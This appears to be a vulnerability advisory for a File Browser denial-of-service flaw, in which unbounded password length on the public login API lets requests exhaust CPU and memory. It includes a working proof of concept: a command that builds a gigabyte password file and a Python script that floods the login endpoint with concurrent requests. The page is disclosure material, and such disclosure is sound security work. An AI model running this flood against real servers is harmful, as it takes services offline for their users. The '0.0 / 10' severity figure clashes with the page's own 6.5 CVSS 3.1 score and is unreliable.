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GHSA-w5fm-68j4-fpc4 CVE-2026-54092 GO-2026-5691

File Browser has a DoS Vulnerability via Public Login API

Medium Go
Severity
0.0 / 10
Medium · CVSS 4.0
Exploit chance (EPSS)
0.55%
Chance of exploitation in the next 30 days. Higher than 45.92% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-1284 Improper Validation of Specified Quantity in Input
CWE-400 Uncontrolled Resource Consumption
Fix
2.63.6
Upgrade github.com/filebrowser/filebrowser/v2 to this version or later

Description

Summary

Unchecked passwords maximums allow for an arbitrarily large password to be passed into the login API. This spikes CPU and memory, and after testing, crashes, heavily lags any container created, and has even made my docker daemon start to send errors with status code 500 even after the container was destroyed.

Details

When sending JSON in the body of the request to the route api/login, if a large password is sent, there is no checking on a maximum length password. This means that any length string can be sent to the server and it will be hashed. Specifically the function CheckPwd in users/password.go is called to hash and check to see if the user supplied password is valid, but there is no maximum length for the password checked in that function. Depending on how many concurrent requests are being made, there may be no logs about the failed login attempts.

PoC

Create a file with a large password using this command:

yes "thisisalongphraseithinksoyeahitisactuallyimsureitiswhatisthisisamouthwoahimcoolwheredidthiscomefromwowza" | head -n 10000000 > large-password.txt

This makes a file that's about a gigabyte. The n parameter in the head function can be adjusted to increase or decrease the file size. Afterwards, run the following script to make a filebrowser container:

docker run -v filebrowser_data:/srv -v filebrowser_database:/database -v filebrowser_config:/config -p 8080:80 filebrowser/filebrowser

After running the container, it is recommended to bring up some sort of performance dashboard on the container that is running to monitor CPU and memory usage. Afterwards, run the following Python script (make sure to install dependencies: pip install aiohttp asyncio ). The CONCURRENT_REQUESTS parameter controls the number of requests to be making at one time. The TOTAL_REQUESTS parameter controls the grand total number of requests sent to the targeted container. If one wants more severe results, turn it up. If one wants less severe results, turn it down. The setting it's on right now is where I've found it can either crash the targeted container or just make it lag until it doesn't respond but is still on.

import aiohttp
import asyncio
from time import perf_counter

url = 'http://localhost:8080/api/login'
CONCURRENT_REQUESTS = 30
TOTAL_REQUESTS = 1000
async def make_request(session, body, semaphore):
    async with semaphore:
        try:
            async with session.post(url, json=body) as response:
                print(response.status)
        except asyncio.TimeoutError:
            print('Request timed out')
        except aiohttp.ConnectionTimeoutError:
            print('Request timed out')
        except Exception as e:
            print(f"Unexpected error {e}")

async def main():
    with open("./large-password.txt", "r") as f:
        file_contents = f.read()

    body = {
        "username": "admin",
        "password": file_contents,
        "recaptcha": ""
    }

    headers = {"Content-Type": "application/json"}
    semaphore = asyncio.Semaphore(CONCURRENT_REQUESTS)

    async with aiohttp.ClientSession(headers=headers) as session:
        tasks = [
            make_request(session, body, semaphore)
            for _ in range(TOTAL_REQUESTS)  
        ]

        start = perf_counter()
        await asyncio.gather(*tasks)
        end = perf_counter()

        print(f"Completed {len(tasks)} requests in {end - start:.2f} seconds")

if __name__ == "__main__":
    asyncio.run(main())

Impact

The vulnerability impacts anyone who uses this service.

Affected versions

Go

PackageVulnerableFixed in
github.com/filebrowser/filebrowser
<= 1.11.0
No fix yet
github.com/filebrowser/filebrowser
all versions
No fix yet
github.com/filebrowser/filebrowser/v2
< 2.63.6
2.63.6

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/filebrowser/filebrowser/v2 Go → 2.63.6

go
go get github.com/filebrowser/filebrowser/v2@v2.63.6 && go mod tidy

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
None
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None

CVSS 3.1 6.5

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-1284: Improper Validation of Specified Quantity in Input

The product receives input that is expected to specify a quantity (such as size or length), but it does not validate or incorrectly validates that the quantity has the required properties.

How to prevent it
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

CWE-400: Uncontrolled Resource Consumption

The product does not properly control the allocation and maintenance of a limited resource.

How to prevent it
  • Architecture and Design: Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
  • Architecture and Design: Mitigation of resource exhaustion attacks requires that the target system either: recognizes the attack and denies that user further access for a given amount of time, or uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed. The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question. The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • Architecture and Design: Ensure that protocols have specific limits of scale placed on them.
  • Implementation: Ensure that all failures in resource allocation place the system into a safe posture.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-833g-cqhp-h72j
File Browser: Share API exposes the password hash and bypass token
Low Also affects github.com/filebrowser/filebrowser
GHSA-83xp-526h-j3ww
File Browser: Archive builder turns backslash filenames into path traversal (zip-slip)
Medium Also affects github.com/filebrowser/filebrowser
GHSA-7rc3-g7h6-22m7
File Browser: Colliding username normalization gives two users the same home directory
High Also affects github.com/filebrowser/filebrowser
GHSA-8wc8-hf36-mjh9
File Browser: ScopedFs follows a dangling symlink on write, letting a scoped user create files outside their scope
Medium Also affects github.com/filebrowser/filebrowser
GHSA-fmm7-x4gx-8jhr
File Browser: Out-of-scope file deletion by a Create-only scoped user via symlink-following RemoveAll in upload failure-cleanup
High Also affects github.com/filebrowser/filebrowser
GHSA-xqp3-jq6g-x3qm
File Browser: Authentication Bypass via Proxy Auth Header Forgery
Critical Also affects github.com/filebrowser/filebrowser
GHSA-m93h-4hw7-5qcm
File Browser: Command Injection via Authentication Hook Shell Substitution (Pre-Authentication RCE)
Critical Also affects github.com/filebrowser/filebrowser
GHSA-8c9q-7855-wfxq
File Browser has a Command Execution Allowlist Bypass via Shell Metacharacter Injection
High Also affects github.com/filebrowser/filebrowser
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